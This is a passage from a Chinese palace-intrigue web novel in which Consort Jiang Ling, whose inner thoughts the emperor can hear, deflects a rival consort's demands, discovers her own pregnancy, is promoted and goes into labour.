“白芹,你去雪香阁与赵嫔说一声。下雨来往不便,待我歇息过来,再亲自登门向赵嫔赔不是。” 白芹领命前去雪香阁,谢嬷嬷走了出来,客气地道:“娘娘在照看二公主,腾不开手。娘娘说,雷霆雨露,皆为君恩。段才人怀着龙子,若有个闪失,娘娘如何担待得起,还请段才人好生歇着才是。” 回到翠微阁,白芹向如实回了话。段才人靠在软垫上,纤细的手指抓紧锦被,眸中怒意翻滚,差点银牙咬碎。 赵嫔避而不见,场面话说得好听,拿萧珈棠出来作筏子,还故意提及龙子,暗含讥讽,不安好心。 生儿生女难以预料,若她到头来生个公主,还要尊萧珈棠为长。 赵嫔生气倒也罢了,江舲却着实可恶! 她凭何独自占着繁英阁,借着管尚寝局,拿别人选剩的几盆破花草来打发她! “白芹。”段才人冷哼一声,道:“你去尚寝局,就说下雨屋中昏暗,须得点灯烛。蜂蜡在夜里点完了,白蜡亦不足,闻得我胸口闷,要多领些蜂蜡,再要新鲜薄荷缓一缓。” 灯烛皆有定例,司灯司并无克扣翠微阁的用度。若多要蜂蜡,虽不合规矩,段才人有孕在身,倒也说得过去。 苑囿从不曾栽种过薄荷,这个时节,只太医院有干薄荷,段才人问尚勤局要新鲜薄荷,便是强人所难了。 白芹望着段才人阴沉的面容,张了张嘴,到底没说什么,前去尚寝局直舍找秦尙宫。 秦尙宫正在直舍对账,听完白芹的话,她并未应承,也未一口回绝,八面玲珑道:“真是对不住,我如今手边没这些。你回去给段才人赔个不是,且得等一等,我这就去给段才人寻来。” 白芹去翠微阁回话,秦尙宫收拾好账本,先去转了一圈,前往繁英阁回禀江舲。 下雨天阴冷潮湿,江舲最不喜这种天气,守在薰笼前烤橙子。 秦尙宫进屋,便闻到阵阵温暖,香甜的气息,令人不知不觉心情跟着愉悦起来。 江舲笑吟吟朝她招手,道:“别多礼了,来,尝尝我烤的橙子。” “多谢江美人,奴婢来得巧,嘴巴有福气了。” 秦尙宫在江舲对面坐下,吃了一瓣橙子,笑道:“真是甜。奴婢始终觉着,这烤橘子的香气,远胜那些番邦来的贵重香料。美人不但会吃,还会享受,奴婢跟着美人,能长不少见识呢。” “我就是闲得慌。”江舲并不太喜欢烤橙子的味道,秦尙宫既然喜欢,将整只橘子都给了她:“尚寝局那边有麻烦了?” “昨日赵嫔的雪香阁,说是要连夜搬寝宫,在司灯司多领了一倍的灯烛。今朝早膳后不久,香雪阁的人便开始往翠微阁搬箱笼。” 秦尙宫从赵嫔与段才人换寝宫之事说起,到段才人前往御前等,一一细道来。 “段才人要蜂蜡,哪怕十二时辰都点着,司灯司匀一匀,倒也拿得出来。奴婢只怕段才人闻多了蜂蜡,到时候也会胸口闷,没敢让白芹去司灯司取。” 秦尙宫觑着江舲的神色,叹了口气,道:“至于新鲜薄荷,奴婢不敢说得太死。在天气暖和的更南边,这个时节不缺新鲜薄荷。皇上俄若下旨让人千里急送进京,奴婢却一口回,便是僭越了。” “段才人看不上香雪阁,也惹不起赵嫔。她惹得起我,一心惦记着繁英阁。既然她仗着皇上宠爱,处处找我麻烦。如今肚子中又揣着皇家金疙瘩,我可不敢招惹她。” 江舲气得冷笑连连,将火钳一扔,道:“你我都得离远些,别沾了麻烦在身。你随我一道去找皇上!” 第54章 雨小了, 风却大了起来,天色昏暗。 黄梁立在御书房门口,幞头肩上落下一层晶莹细密的水珠。他似乎是冻着了, 脸色苍白嘴唇泛青,始终如石像般, 一动不动立在那里。 政事堂的相爷礼部尚书等大臣已经告退,卫大学士留了下来。 “大伴, 江美人来了。”张善躬身上前, 小心翼翼地陪着笑脸道。 黄梁绷着脸,脖子像是安了机关般, 侧头朝张善看去,发出咔哒的一声。 “狗东西!”黄梁突然暴起, 抬脚朝张善踢去。 张善下意识欲躲避, 最终停住了,硬生生受了黄梁一脚,痛得他呲牙裂嘴。 元明帝被卫大学士劝诫, 心中不痛快, 黄梁会吃挂落。 黄梁心中不痛快, 他们底下的人会跟着遭殃。 “唉, 受上一脚, 让他出出气也好。”张善琢磨着, 黄梁大步朝殿门口走去,他守在了门前听差。 黄梁来到门外, 见江舲与秦尙宫在一起, 心头微松,脸上迅速浮起笑容:“皇上正在御书房忙着,江美人可有急事?” “不是我的急事, 关乎到段才人肚中的皇嗣,那就是天大的事了。” 江舲微笑着,客气地道:“我先去寝宫等着,劳烦黄大伴帮着通传一声。” 既然秦尙宫随着江舲前来,牵扯到段才人,当与尚寝局有关。秦尙宫能干,让她觉着棘手之事,绝非小事。 江舲虽得宠,始终客气规矩。听到元明帝正在忙,果然不如段才人那般,明里暗里给他们御前伺候的人下马威。 黄梁脸上笑容真诚了几分,顺道卖了江舲一个好,小声道:“照着规矩,后宫嫔妃无召不得来到前朝。段才人先前来过,卫大学士最重规矩,遇到此种情形,少不了规劝进谏。” 如此看来,段才人先前来垂拱殿,引起卫大学士不满了。 天子与士大夫共治天下,元明帝远称不上超纲独断的帝王,亦不算昏庸暴虐。无论元明帝心底是如何想法,在众人面前,他必须敬重卫大学士。 黄梁若不去通传,段才人借着龙胎说事,他担待不起。前去通传,瞒不过卫大学士。元明帝没脸,不便怪罪朝臣,只能将气洒在他头上了。 江舲不禁感慨,段才人有几分手段,到底自幼娇宠着长大,受不得丁点委屈,年轻天真了些。 枕边风吹到前朝,将元明帝的近身伺候内侍,朝廷重臣一并得罪了。 黄梁侧身迎着江舲进殿:“江美人先到琼华阁歇着,待皇上得空,奴婢便回禀皇上。” 江舲颔首道谢,与秦尙宫一道前往琼华阁等候元明帝。两人在明间坐了约莫半个时辰,元明帝还不见身影。 圈椅无法躺着,江舲坐得腰酸背疼,实在受不了,便叫上秦尙宫到屋外沿着廊檐走动。 “美人,这只怕不合规矩。”秦尙宫端坐不动,赶忙提醒江舲。 “那我就在屋中走一走。”江舲站起身,轻轻跺着脚,拉起裙摆向秦尙宫展示着腿脚:“你瞧,都肿了。你也起来动动。” 秦尙宫也坐得难受,见宫女内侍都在屋外,她悄然起身,学着江舲那般轻手轻脚踱步。 “江美人真是个妙人。”秦尙宫僵硬的腿脚缓和了些,她暗示江舲坐下来,压低声音笑说道。 “我也这么觉着。”江舲不明白秦尙宫为何突然出言夸她,干脆一本正经地接受了。 “在御前伺候之人,首要的一条,嘴一定要严实。黄梁那张嘴,可是用铁锤都砸不开。”秦尙宫道。 江舲明白过来,黄梁透露了段才人与卫大学士之事,这是在向她示好了。 黄梁不避讳秦尙宫,看来两人的交情匪浅。秦尙宫如实道出,也是有推心置腹的意思。 江舲暗自高兴不已,她在后宫,总算是有点可靠的助力了! “美人放宽心,皇上不会让美人为难。”秦尙宫笃定地道, 江舲眨了眨眼,诧异不已:“秦尙宫为何会这般以为?” “江美人是个妙人儿,就是奴婢都喜欢得紧呢。” 秦尙宫脸上的笑容浅淡下去,掠过丝丝怅然。“奴婢进宫这么多年,从没在江美人手下当差这般痛快过。为奴为婢的,皆听主子差遣做事。听出了差错,奴婢先被罚。有情义的主子,会说上几句好话。主动将事揽下来,那真真是……江美人能冲在前面来找皇上,奴婢感激不尽。” “秦尙宫言重了,尚寝局多靠你费心,我才有闲工夫烤橙子吃。”江舲真诚地道。 以前江舲做社畜时,最讨厌上司没担当,推卸责任。她虽是甩手掌柜,尚寝局都是秦尙宫在操劳,但该她出面时,绝不会含糊。 且江舲也有自己的小九九,段才人咄咄逼人,虎视眈眈盯着繁英阁。 咄咄逼人也就罢了,江舲能忍。但繁英阁,无论如何都不会让! 觑着四下无人,江舲再低声与秦尙宫嘀咕起先前商议好之事。直到外面的请安声响起,两人赶紧起身恭迎。 元明帝脸色不大好看,他走到上首坐下,道:“你们有何事,速速道来!” 秦尙宫忙躬身将白芹前来尚寝局的事细细道来,“奴婢做不了主,只得到江美人跟前去求主意。” 元明帝眉头蹙起,不由得看向江舲。她一脸的无奈,干脆直接道:“臣妾也做不到,只能来求皇上拿主意。” “几只蜂蜡罢了,你做主给了便是。寻不到新鲜的薄荷,太医院有干薄荷,去御药局捡些回去,也是一样的功用。” 元明帝先前被卫大学士念叨了许久,心中烦闷,已将黄梁骂了一通,罚了他见江舲秦尙宫拿着鸡毛蒜皮小事来烦他,愈发 江舲向来躲懒不管事,秦尙宫当差多年,区区小事而已,竟然也跑来烦他! 元明帝神色一沉,正要斥责秦尙宫,江舲一下扑了上前,惊得他将到嘴边的话咽了回去,瞪着她道:“你要作甚?” “皇上,臣妾不要管尙寝局了,求皇上让别人管吧。”江舲哭唧唧说着,拿起帕子,手上些许用力一抹眼,眼眸渐渐泛红。 “怎地就突然不管尚寝局了?”元明帝一头雾水问道。 “段才人要的是新鲜薄荷,臣妾哪能让她退而求其次。御药局的干薄荷,是拿来入药的药材,臣妾拿药材给段才人,岂不成了诅咒段才人生病。司灯司的蜂蜡有数,段才人多领了,其他该得的姐妹处,司灯司就拿不出来。臣妾可以将份例中的拿出来给段才人,只怕段才人闻着会胸闷,影响到腹中的龙胎。到那时,臣妾担待不起,便是跳进护城河都洗不清。” 江舲红着眼,不时哽咽一下,话却说得清清楚楚:“皇上不如亲自下旨,让段才人用御药局的干薄荷,御前的蜂蜡。有皇上的真龙之气庇佑,段才人定会平平安安,给皇上开枝散叶。” 元明帝哼了声,一瞬不瞬盯着江舲的眼眸,始终怀疑她是在佯装伤心:“几只蜂蜡而已,就从朕的御前出吧。你所言的忌讳,朕从未听过,定是你的一派胡言。” “臣妾不敢,臣妾冤枉,请皇上明鉴。”江舲熟练地道。 她的确是一派胡言,但她要将段才人这个麻烦,彻底从尚寝局甩给元明帝。 元明帝听到她流利的敷衍应付,不禁气笑了,道:“你倒好,交给你的差使,你全部推到朕的头上来。” 江舲垂首不语,心里却狂骂不止:“你的小心肝,你不管,谁要去管。简直跟坨粪一样,谁沾上谁倒霉,还真是天造地设的一对逼人!” 元明帝从未听到江舲如眼前这般愤怒,他一时怔在了那里,仔细端详着她通红的眼眸。 不知为何,元明帝开始慌乱起来,暗忖道:“难道她真受了委屈?也是,她一向怕麻烦,遇事避之不及,段才人先惹她,她被欺负得狠了,才勉强反击了回去,吓一吓段才人。后宫中有过身孕的嫔妃,无人如段才人这般麻烦。她规矩知礼,倘若让卫大学士再看到她的话,朕就真成昏君了。” 越琢磨,元明帝越心疼。秦尙宫在场,有些话难以启齿,板着脸道:“你退下吧。” 秦尙宫恭敬退出,元明帝顿时笑起来,温声道:“罢了罢了,朕不与你计较,都依了你。” “黄梁!”元明帝笑看着江舲,扬声唤了黄梁进来,将蜂蜡薄荷之事吩咐了下去:“传吴适山前去给段才人好生诊诊脉。” 黄梁躬身领旨,悄然瞄了眼江舲,心里对她佩服不已。 她三言两语间,将尚寝局轻松摘了出去。以后段才人再借机生事,怕是元明帝都会生厌。 事情已了,江舲愉快地屈膝施礼谢恩,“皇上朝政繁忙,臣妾不敢打扰,这就告退。” “已到用午膳的时辰,你急着告退作甚,难道朕会缺了你的膳食?”元明帝幽怨地看向江舲,抱怨着她的翻脸不认人。 江舲只能应是,心道:“用了午膳,最好让我回繁英阁,我不想睡你。” 元明帝正在吃茶,差点被呛住,暗自瞪了她一眼,心里琢磨道:“果真受了天大的委屈,气还没消,朕得好好哄一哄她。” 净手之后,宫女内侍已经摆好午膳。江舲在食案前坐下,等着元明帝动筷。 元明帝心头一动,她面上规矩,实则不耐烦这些。他扬了扬眉,亲呢地道:“就只你我两人,无需多礼。你既然饿了,自管挑着喜欢的吃……” “呕!” 元明帝的满腔柔情蜜意,被江舲的突然干呕声,打断在那里。 第55章 江舲忙离得远一些, 端起茶水吃了几口,勉强压住了胃中的翻腾。 元明帝一脸紧张地道:“你怎地了,可是身子不舒服?” “臣妾御前失仪, 请皇上恕罪。”江舲呼出口气,习惯性地赔罪, 心中却想道:“牛粪的话真是让人作呕,先动筷子用膳, 也能拿来当做恩赐了!” 元明帝见江舲又开始编排他, 微微愠怒地哼了声,不再搭理她, 拿起筷子用起了膳。 江舲不疑有他,放下茶盏挪近食案。鸭羹的腥气钻进鼻尖, 胸口阵阵恶心翻腾。 “呕!”江舲捂着嘴, 手忙脚乱起身,奔出屋扶着走廊,弯腰一阵干呕。 屋外听差的内侍宫女一时没反应过来, 张善瞥见屋中元明帝慌张追了出来, 焦急得一个健步上前搀扶住江舲, “快去取热水帕子来!” 元明帝上前, 一掌推开张善, 亲自扶着了江舲的手臂, 吼道:“蠢货,快去请太医!” 张善赶紧撒开脚丫子朝外跑去, 在大门边恰好遇到办差回来的黄梁, 被他一把拉住,“出什么事了?” “江美人用膳的时候,突然呕吐不止, 皇上令我去请太医呢!”张善答道。 黄梁愣了下,眼眸一转,道:“郑太医正与吴太医都去了翠微阁,皇上的旨意要紧,你赶紧去将他们请来。” 张善眼珠转了几转,脸上堆满笑,“大伴放心,我这就去。” 黄梁虚虚踢了他一脚,骂道:“兔崽子,我算哪门子东西,何来的放心!江美人的身子要紧,这是皇上的旨意!” 张善嘿嘿笑着,一溜烟跑了。到了翠微阁,郑择与吴适山前脚将将赶来,擅长妇人科的吴适山正准备替段才人诊脉,手方搭上去,张善进了屋,他上前一礼,道:“皇上有旨,传郑太医正与吴太医速速前往垂拱殿。” 吴适山愣住,他平时只医治后宫的太妃以及嫔妃们。元明帝龙体欠安,皆由郑择与其他太医负责。 郑择听到垂拱殿,立即站起了身。段才人急道:“可是皇上病了?” 张善神情恭敬,滴水不漏地道:“段才人,奴婢不敢打探御前之事。” 段才人闻言脸色一白,搭在脉枕上的手,渐渐拽紧。 好一个狗仗人势的阉奴! 吴适山躬身赔着不是,伸手去取脉枕,“段才人,臣先告退。” 段才人抬起手,吴适山取走脉枕,随着郑择张善疾步匆匆往外走去。 “咱们得快些,皇上着急得很,江美人在琼华阁等着呢。”张善踏出门槛,催促道。 他的声音不高不低,传到段才人的耳朵里,她的神情霎时变得难看起来。 元明帝赐了御前所用的蜂蜡,令郑择吴适山送来干薄荷,替她诊脉。 皇恩浩荡,一时间,翠微阁上下风光得很。 段才人虽未刁难到江舲,因着元明帝的看重,总算顺了口气。 谁曾想,这份风光,只瞬间就散了。 正是元明帝用膳的时辰,他不但留了江舲午膳,连她怀着龙胎都置之不理了! 段才人越想越气,终于忍不住,趴在案几上大哭起来。 那边,江舲吐完之后,接过宫女递上来的清水漱了口,她呼出口气,瞥到紧张立在一边的元明帝,止不住地烦躁嫌弃。 “瞧这德性,不知道的,还以为是他不舒服了呢。” 江舲暗搓搓吐槽不已,欠身道:“皇上,臣妾身子不舒服,恐惊扰到皇上,臣妾先告退了。” “你站住!”元明帝一把抓住江舲,察觉到手上的劲大了些,又赶忙松开:“你身子不舒服,朕不会怪罪你。太医快来了,你且进屋去坐着好生歇息。” 江舲只能随着元明帝回屋,黄梁指挥宫女内侍们正在收拾食案,准备重新呈上新鲜的吃食。她看到鸭羹,下意识呕了下。 元明帝仔仔细细打量着江舲,再看向鸭羹,厉声道:“且慢,将饭菜都放着,谁都不许动!” 黄梁赶忙让宫女内侍们退下,道:“皇上放心,奴婢亲自看着。” 元明帝唔了声,叫上江舲去了次间,拉着她在身边坐下,担忧地道:“先前还好好的,怎地突然就吐了呢?” 以前江舲便不喜吃鸭肉,认为鸭肉总有股难以形容的腥气。御膳房的御厨厨艺高超,鸭羹几乎不见腥气,她会吃上一两块。 元明帝的阵仗,似乎在怀疑饭菜中有毒,她倒不如此认为,毕竟她尚未动筷。 先前吃了两只烤橘子,江舲怀疑是胃里泛酸。她点点头,道:“皇上放心,臣妾没事……” 说到这里,江舲愣住了,想起前几天文涓曾说,她这个月的月事又迟了。 月事来时不能侍寝,必须回禀御前知晓。平时江舲的月事不太准,前后推迟几日是常有之事。文涓当时提及时,还满含期待,盼着她怀孕。 当时江舲还笑话过文涓,她后来没再说过,估计是怕到时空欢喜一场。 元明帝端详着江舲,瞧见她神色不对,正要问时,张善领着郑择吴适山来了。 两人进屋请安,元明帝摆摆手,道:“快些替江美人诊治!” 郑择忙上前,一阵望闻问切。他沉吟了下,让开身,让吴适山也诊了脉。 两人谨慎地商议了几句,郑择回道:“皇上,江美人,臣以为,江美人应当是有了身孕。只时日尚浅,脉象不甚明显。” 江舲神色平静,元明帝却欣喜若狂起来,高兴得咧嘴大笑,道:“好好好,赏,都有赏!” “皇上,还不一定呢。”江舲不咸不淡地给元明帝泼了盆冷水。 即便是后世的孕试纸,也有一定的机率出错,必须验血与B超相互印证,才能百分之百确认。 何况是诊脉。 元明帝脸上的笑容僵住了,郑择觑着他的神色,后背冷汗直冒,忙小心翼翼道:“皇上,江美人说得是,要再过上一段时日才能确定。” 江舲不想为难两人,道:“皇上,时辰不早,先去用膳吧。” 元明帝哼了声,对郑择吴适山道:“你们且去瞧瞧,先前呈上来的膳食可有不妥当之处。” 郑择暗中松了口气,感激地瞧了眼江舲,与吴适山去查午膳。 元明帝重新传膳,叮嘱道:“莫要再上鸭羹了!” 御膳房很快呈上了新鲜的饭菜,江舲这次没再呕吐,总算太太平平用完了膳。 郑择吴适山查完前来回禀,饭菜皆不见异样,元明帝总算放了心。 经过这一场,已快到平时元明帝起身的时辰。他经历了担忧惊喜失落,此时了无睡意,拉着江舲躺在榻上小憩。 江舲吐了一场,那股恶心感虽不在,身子很是乏力。饭后缓和了些,一躺下来便晕晕欲睡。 元明帝微微叹了口气,手轻轻搭在江舲的小腹上,道:“朕的子嗣不丰,你的肚皮要争气些,多替朕生几个儿子,绵延大胤的江山。” 江舲正在迷糊中,被元明帝吵醒,她烦躁地皱眉,闭上眼睛装作没听见,心中直暴躁地吐槽。 “子嗣不丰,后宫的嫔妃那么多,却没几个有身孕。究竟是有多蠢,才不会去反思是谁的原因!肚皮争气,亏有脸说得出口,怎么不让你的老二争气些!多生几个儿子绵延江山,哈哈哈,儿子生那么多,是要夺嫡杀得血流成河吗?也不怕把你那把老骨头都拆了!” 元明帝眼神渐渐冷下去,脸色难看至极。 先皇共有五个儿子,皇三子魏王天生腿疾,行走不便。先皇无嫡出,当时属意长子继位。 其他几个儿子皆不服,明争暗斗,最后两死一伤,皇位落在了最年幼的他头上。 江舲骂完,难得也睡不着了。 要真是怀孕,眼下没产检,生出健全的孩子全靠拼运气。 “要是生个傻子,有先天疾病的呢?哎呀,一定不会!别胡思乱想了……最好长得像我,无论儿子女儿都要继承我的美貌,千万不要像牛粪!人品要跟我一样,千万不要像牛粪,太差劲了啊!” 元明帝的呼吸,随着江舲脑中所思,起起伏伏。 起初,他亦担心儿女会如魏王一样先天有疾。只是,他长相俊美,从谏如流,礼贤下士,大胤天下太平,是难得的圣明之君,她竟称他品行不端! “丑一点就丑一点,要是生的时候难产,大血崩,哎呀,死了!” 江舲越想越睡不着,元明帝合上眼,眼前浮现出她躺在血泊中的模样,心头刺痛,呼吸变得艰难起来。 “起吧。”元明帝怕再听下去会折寿,起身掀开被褥下床。 江舲正巴不得回繁英阁躺着,利索地翻身坐起,元明帝看得胆颤心惊,道:“你且小心些,若真有了身孕,仔细惊着了!” “哪有那般脆弱。”江舲无语,难得反驳了句。 元明帝气道:“小心些总归是好事。” “皇上教训得是,臣妾知错。”江舲不想与他多说,熟练地赔罪。 元明帝始终不放心,拉着江舲叮嘱了好一阵,才放她离开。 虽然江舲嫌弃元明帝啰嗦,小题大做,实则情不自禁变得小心翼翼起来。 以前她几乎都在榻上躺着度过,现在她会尽量多走动,吃食上更为挑剔。坚决不碰饴糖蜂蜜,保证膳食的营养全面。 连着第二天,第三天,江舲都不时恶心想吐,月事始终没来。 到这时,江舲基本上能确定,她应该真怀孕了! 李贵人的丧事结束,李家被抄家。守在福庆宫的护卫无声无息撤离,赵德妃安然无恙,下毒一事自此无人再提。 工部尚书被贬谪,江文修与江承望领了苑囿的差使。 江舲担心他们,赶忙差人宣薛氏陶氏进宫。翌日,到了她们进宫的时辰,江舲心情不由得变得忐忑起来,不时伸头朝屋外看去。 阿箬劝道:“美人放心,有文涓姐姐到宫门口迎接,应当很快就到了。” 这时,黄梁手上托着黄色卷轴,领着内侍绕过影壁走来。 “又有什么事了?”江舲不禁一愣,起身迎了出去。 黄梁脸上堆满笑,远远就朝江舲躬身见礼:“皇上有旨,江美人领旨。” 第56章 黄梁念了一堆华丽的骈文, 江舲听懂了“咨封为嫔”一句。 四嫔还缺一人,怀孕都只封为嫔,江舲暗骂了句元明帝小气。不过, 升份位总归是好事,江舲喜滋滋地接旨谢恩。 阿箬懂事地取了荷包出来塞给黄梁, 江舲忍着心疼,道:“黄大伴请进屋来坐。” “奴婢还要去翠微阁宣旨, 待得空时再来讨杯茶吃。”黄梁笑呵呵道。 原来并非她独得的荣耀, 段才人也得了晋封。那份升位的喜悦,立刻淡了。 黄梁机会察言观色, 觑着江舲脸上勉强的笑容,他躬身笑道:“皇上说, 江嫔的母亲被封为硕人, 嫂嫂被封恭人,今朝又恰好进宫来,一门双喜, 喜事成双呐!” 江文修在苑囿当差, 为六品的郎中。江承望则是闲散的主事, 从八品的芝麻小管。硕人是四品诰命夫人, 恭人则是正六品以及从六品。 两人的诰封, 按照规矩该与江氏父子的品级一样, 能被额外加封,皆是托江舲的福。 “翠微阁被封为美人, 奴婢得赶紧去传旨了。”黄梁笑道。 才人与美人之间只升了一级, 江舲升了两极,顿时高兴起来。送走黄梁,文涓领着薛氏陶氏也到了。 江舲打量过去, 薛氏生得慈眉善目,陶氏面容娟秀。两人在文涓的提点下见礼,动作明显僵硬,局促不安。 “阿娘嫂嫂无需多礼,快快请起。”江舲突然有了身居上位的真实感,颇为感慨地道。 文涓领着两人落座,阿箬奉了茶水点心,与文涓一道退出,留着江舲与娘家亲人说话。 屋中无人,薛氏眼眶通红望着江舲,心疼地道:“娘娘瘦了。” 江舲刚要说话,只听薛氏继续道:“以前未曾进宫时,与大郎比着吃饭,一顿至少得吃三碗起。可是有身孕之后,肚中的孩儿折腾,吃不下饭了?” 果然饭桶满门名不虚传,江舲对薛氏不禁亲近了几分,忍着笑道:“我吐得不算厉害,吃得下睡得好。吃太多也不好,过犹不及。阿娘也要劝大哥,要注意节制,别吃坏了身子。” “以前我怀着娘娘的时候,吐得厉害,什么都吃不下。我就怕娘娘与我当年一样。” 薛氏松了口气,排着胸脯道:“哎哟,老天保佑,能吃能睡就好。你阿爹大哥只好吃这一样,吃得下总是福,我便由着他们去了。既然娘娘说了,我回去劝一劝他们。” 江舲笑着点头,问道:“阿娘嫂嫂身子可好,小郎囡囡呢,怎地没带他们进宫来?” “我们都好着,娘娘莫要记挂。”薛氏道。 陶氏插嘴道:“小郎进了私塾读书,囡囡淘气,待学好规矩之后再带她宫给娘娘请安。” 江家进京后,住在元明帝赏赐的宅子中。江舲听说元明帝还赐了一些金银,供他们在京城安定下来。 以前见到江文修时,元明帝在场,江舲不好多问,眼下只有她们三人在,便一一细问了。 “宅子就在皇城边,离皇宫也近。前后两进的院子,粉刷修得崭崭新。我们到京城的时候,灶房连油盐酱醋都归置得齐齐整整。” 薛氏小声道:“接到被传召进京的旨意,你阿爹就日夜难安,小县令何来的福气得见天颜呐。你阿爹嘴笨,只吃上灵光,不得上峰喜欢,这些年始终不得升迁。娘娘当年被选进宫,就是上峰故意将娘娘的名字添了进去。当时我就愁得很,娘娘也不善言辞,要是得罪了皇上” 陶氏见薛氏开始流泪,忙道:“娘娘进宫,是江氏的福气,阿娘疼爱娘娘,如今到了京城,以后时常进宫觐见就是。” 薛氏见说错了话,忙拿帕子蘸了泪,微微叹了口气,“京城到处都是达官贵人,一不小心就招来了祸事。我们一大家子,都靠着你阿爹的俸禄过活,在县衙时过得轻松容易,在京城就难了。” 她伸出一根手指头,朝江舲挤挤眼,道:“皇上赏赐了一千两银子,十匹绸缎布料,你大哥也得了差使,日子就宽裕了,娘娘且放宽心。” 陶氏转头四望,掀开上衫,从腰间解下两个鼓鼓囊囊的荷包。薛氏与她一样,两人将四个荷包放到江舲手边。 薛氏道:“这里面共是一百两银,银子重,进宫不方便带。暂且带了这些,下次进宫时再送来给娘娘。” 江舲看得瞠目结舌,心道两人的腰带还真是结实。她的月例都攒着,本想拿给薛氏一些,不曾想她们居然给她送了银子进来。 “阿娘,嫂嫂,快收起来,我不缺银子。”江舲忙推辞道, 陶氏道:“娘娘在宫中用银子的地方多,皇上赏赐的一千两银子,家里人都商议过,全部留给娘娘。娘娘过得好,江家就会好。” 一荣俱荣,一损俱损。 江舲想到李贵人,沉吟了下,道:“我已经被皇上封为嫔,月俸足够用了。这些你们既然拿了进来,我就先留着。其余的,你们先放着,以备不时之需。” 薛氏陶氏大喜,跟着就要起身道喜。江舲忙示意她们坐下,“只我们几人,无需讲究这些繁文缛节。你们进宫不能久留,有些话,我先与你们说了。” 两人赶忙端坐好,认真听着江舲的话。 “首先,让阿爹与大哥不得吃拿索要,身要正。” 江舲并非清高,赵氏李氏的事例在前,人的欲望永无止尽。她要背负起江氏的富贵兴旺,肩上的责任太沉重,她也没那个本事背得起。 “其次,不要招惹赵氏林氏柳氏的人。若有与他们这几家相干的人来找上阿爹大哥,一定要赶紧进宫来告诉我。” 江舲谁都不肯信,尤其是她如今怀了身孕,皇子公主是利器,亦是牵绊。 “最后,阿爹大哥要熟读律法,记着规矩。” 律法与规矩不一定能保护自己,但在律法规矩内做事,能规避一定的风险,乃是最后,最直接的一层护身符。 薛氏陶氏连连应下,江舲再与她们说了一会话,到了午膳时辰。用过午膳之后,两人便告退出宫。 江舲累了,正准备去午歇,元明帝来了。 “皇上怎地没歇息?”江舲背过身去打着呵欠,含糊着问道。 自从江舲怀疑是有孕在身之后,元明帝只要得空,就会来她身边守着。确认她有孕之后,更是欣喜若狂,大半的时日,都歇宿在繁英阁。 元明帝习惯了江舲的嫌弃,上下打量着她,关心问道:“朕来瞧瞧你,今朝身子如何,吐得可厉害?” “臣妾一切都好,有劳皇上操心了。”江舲耷拉着眼皮,无精打采答道。 “先回卧房歇着吧,朕陪你一道午睡。”元明帝站起身,江舲只能跟着他来到卧房,解衣上床。 两人躺下来,元明帝侧身轻轻拥着江舲,问道:“见到你阿娘大嫂,可有高兴?” “高兴。多谢皇上。”江舲闭眼答了句。 元明帝顿了下,循循善诱道:“你阿娘大嫂成了诰命夫人,以后想要进宫,可以自己递帖子进来,无需等你宣召了。” “诰命夫人听上去风光,就是一个虚名,又没有俸禄。过年过节红白喜事,还要进宫来朝拜。大热天还要穿着里三层外三层的朝服,寒冬腊月更是受罪。” 江舲心中腹诽着,嘴里熟练地谢恩:“皇上隆恩,臣妾感激不尽。” 元明帝气结,缓缓道:“你如今有身孕在身,封赏本该庆贺一番。如今你有身孕在身,辛苦不得。待生产之后,再一并好生庆贺。” 江舲困了,元明帝絮絮叨叨说个不停,心里难免烦躁。表面,恭敬应着是,心中却想道:“原来是邀功来了。小气鬼,只封为嫔而已,连个妃都不是。何况,又不是只封了我一个。谁知你是不是为了封她,顺带封了我。” 元明帝几乎快被气笑了,他宠着她,提携她的娘家人。 到头来,她还冤枉他,认为他是为了封段美人,她才带着沾光! 元明帝咬牙切齿盯着怀里的江舲,默默念叨着:“待她生了之后,再与她算账!” 接下来的时日,宫中太太平平。到了五月,后宫又传出两桩喜事,两个今年新进宫的嫔妃接连有孕。 可惜的是,徐才人不到两月就落了胎。庄才人则三天两头生病,怀得险象环生。 时光疏忽而过,转瞬间,到了十一月。 算着时日,江舲已到临盆的时候。段才人比江舲早怀孕,迄今还未有动静。 太医院的太医两头奔波,接生嬷嬷与奶娘早已精挑细选好,住进宫中日夜守着。 江舲饮食控制得很好,与怀孕前相比,身形并无多大变化,只肚子大了,脸与手脚略微浮肿。 这天冬雨绵绵,天气寒冷。早饭后,江舲没有出门,在明间来回慢慢踱步走动。 文涓寸步不离守跟在左右,生怕她摔倒。江舲看得想笑,活动着胳膊,道:“文涓,我没事,你别那么紧张。” 在中秋筵席时,文涓见过段美人,那时她的身形,已快有江舲的两个大。 薛氏与陶氏都说过,胎儿太大不易生产。太小的话也不好,妇人生产时力气不足,胎儿身子弱,容易生病。 江舲的肚子,太医量过大小尺寸,称一切正常。 不过,文涓想着生产时的艰辛,尤其是段美人那边还没消息,就控制不住地焦急。她不敢让江舲发现,忙笑道:“奴婢长胖了些,学着娘娘一样,饭后多走动消食。” “哎呀!”江舲本想说她不算胖,感到一阵尿意袭来,懊恼地朝净房走去。 怀孕初期时,江舲焦虑了一段时日,很快便调整了过来。 事已至此,除去勇敢面对,别无他法,仗着她的好心态,腹中的胎儿算得听话,没让她吃太多苦。怀孕的日子,过得还算轻松。 只到了后期,要频繁去如厕,只能半靠着软垫入睡,让她颇为心烦。 文涓赶忙招呼小宫女紫衫上前搀扶,江舲道:“我自己能走,没事。” 紫衫在几个小宫女中最为拔尖,年纪虽小,很是稳重机敏,被文涓选来近身伺候。她低头看着地,眼尖地提醒道:“娘娘当心,地上有水渍。” 文涓每天不错眼看着,与阿箬四下检查。她一直守在江舲身边,从未离开明间半步,屋中怎地会有水渍? 她赶忙低头看去,只见江舲的裙摆湿了一片,脚踩过的地方,留下湿漉漉的印记。 文涓一怔,待回过神,控制不住地慌张,急声道:“娘娘破水了!快传太医,稳婆!” 第57章 产房早已备好, 文涓她们亲自动手,按照江舲的要求,屋子擦拭得一尘不染, 被褥以及布巾等,用沸水煮过晾干。 江舲肚子只隐约作痛, 她面上带着微笑,轻松地道:“文涓, 你别急, 照着我们以前商议好的来。” 她并不怪罪文涓的慌乱,毕竟彼此之间的关系不对等, 她若有丁点闪失,文涓可能付出性命的代价。 文涓见江舲镇定, 心情渐渐平缓下来。紫衫已经跑去请太医接生稳婆, 她搀扶着江舲前去产房。 阿箬急匆匆赶了来,想到江舲的吩咐,在门口堪堪停下脚步, 只探进个脑袋。见江舲还在与文涓说笑, 长长舒了口气:“文涓姐姐, 你伺候好娘娘, 我取拿热水布巾。” 很快, 宫女提着热水布巾送到偏屋。接生的两个稳婆也到了, 阿箬打量着她们,问道:“张稳婆呢?” 